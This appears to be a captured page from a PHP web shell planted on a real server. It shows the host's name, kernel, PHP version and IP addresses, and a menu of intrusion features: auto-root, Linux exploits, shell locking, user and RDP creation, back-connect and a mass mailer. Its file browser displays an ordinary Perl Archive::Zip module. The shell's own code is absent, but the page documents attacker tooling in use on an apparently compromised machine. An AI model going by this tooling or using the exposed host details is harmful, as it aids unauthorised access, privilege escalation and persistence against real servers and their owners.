Linux boca.hozzt.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
: 159.253.39.62 | : 52.14.234.213
Cant Read [ /etc/named.conf ]
7.4.33
renovkoron
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
vendor_perl /
Archive /
Zip /
[ HOME SHELL ]
Name
Size
Permission
Action
Archive.pm
31.58
KB
-rw-r--r--
BufferedFileHandle.pm
2.68
KB
-rw-r--r--
DirectoryMember.pm
1.94
KB
-rw-r--r--
FAQ.pod
12.36
KB
-rw-r--r--
FileMember.pm
1.31
KB
-rw-r--r--
Member.pm
36.78
KB
-rw-r--r--
MemberRead.pm
7.64
KB
-rw-r--r--
MockFileHandle.pm
1.3
KB
-rw-r--r--
NewFileMember.pm
2.13
KB
-rw-r--r--
StringMember.pm
1.68
KB
-rw-r--r--
Tree.pm
816
B
-rw-r--r--
ZipFileMember.pm
13.45
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : MockFileHandle.pm
package Archive::Zip::MockFileHandle; # Output file handle that calls a custom write routine # Ned Konz, March 2000 # This is provided to help with writing zip files # when you have to process them a chunk at a time. use strict; use vars qw{$VERSION}; BEGIN { $VERSION = '1.60'; $VERSION = eval $VERSION; } sub new { my $class = shift || __PACKAGE__; $class = ref($class) || $class; my $self = bless( { 'position' => 0, 'size' => 0 }, $class ); return $self; } sub eof { my $self = shift; return $self->{'position'} >= $self->{'size'}; } # Copy given buffer to me sub print { my $self = shift; my $bytes = join('', @_); my $bytesWritten = $self->writeHook($bytes); if ($self->{'position'} + $bytesWritten > $self->{'size'}) { $self->{'size'} = $self->{'position'} + $bytesWritten; } $self->{'position'} += $bytesWritten; return $bytesWritten; } # Called on each write. # Override in subclasses. # Return number of bytes written (0 on error). sub writeHook { my $self = shift; my $bytes = shift; return length($bytes); } sub binmode { 1 } sub close { 1 } sub clearerr { 1 } # I'm write-only! sub read { 0 } sub tell { return shift->{'position'} } sub opened { 1 } 1;
Close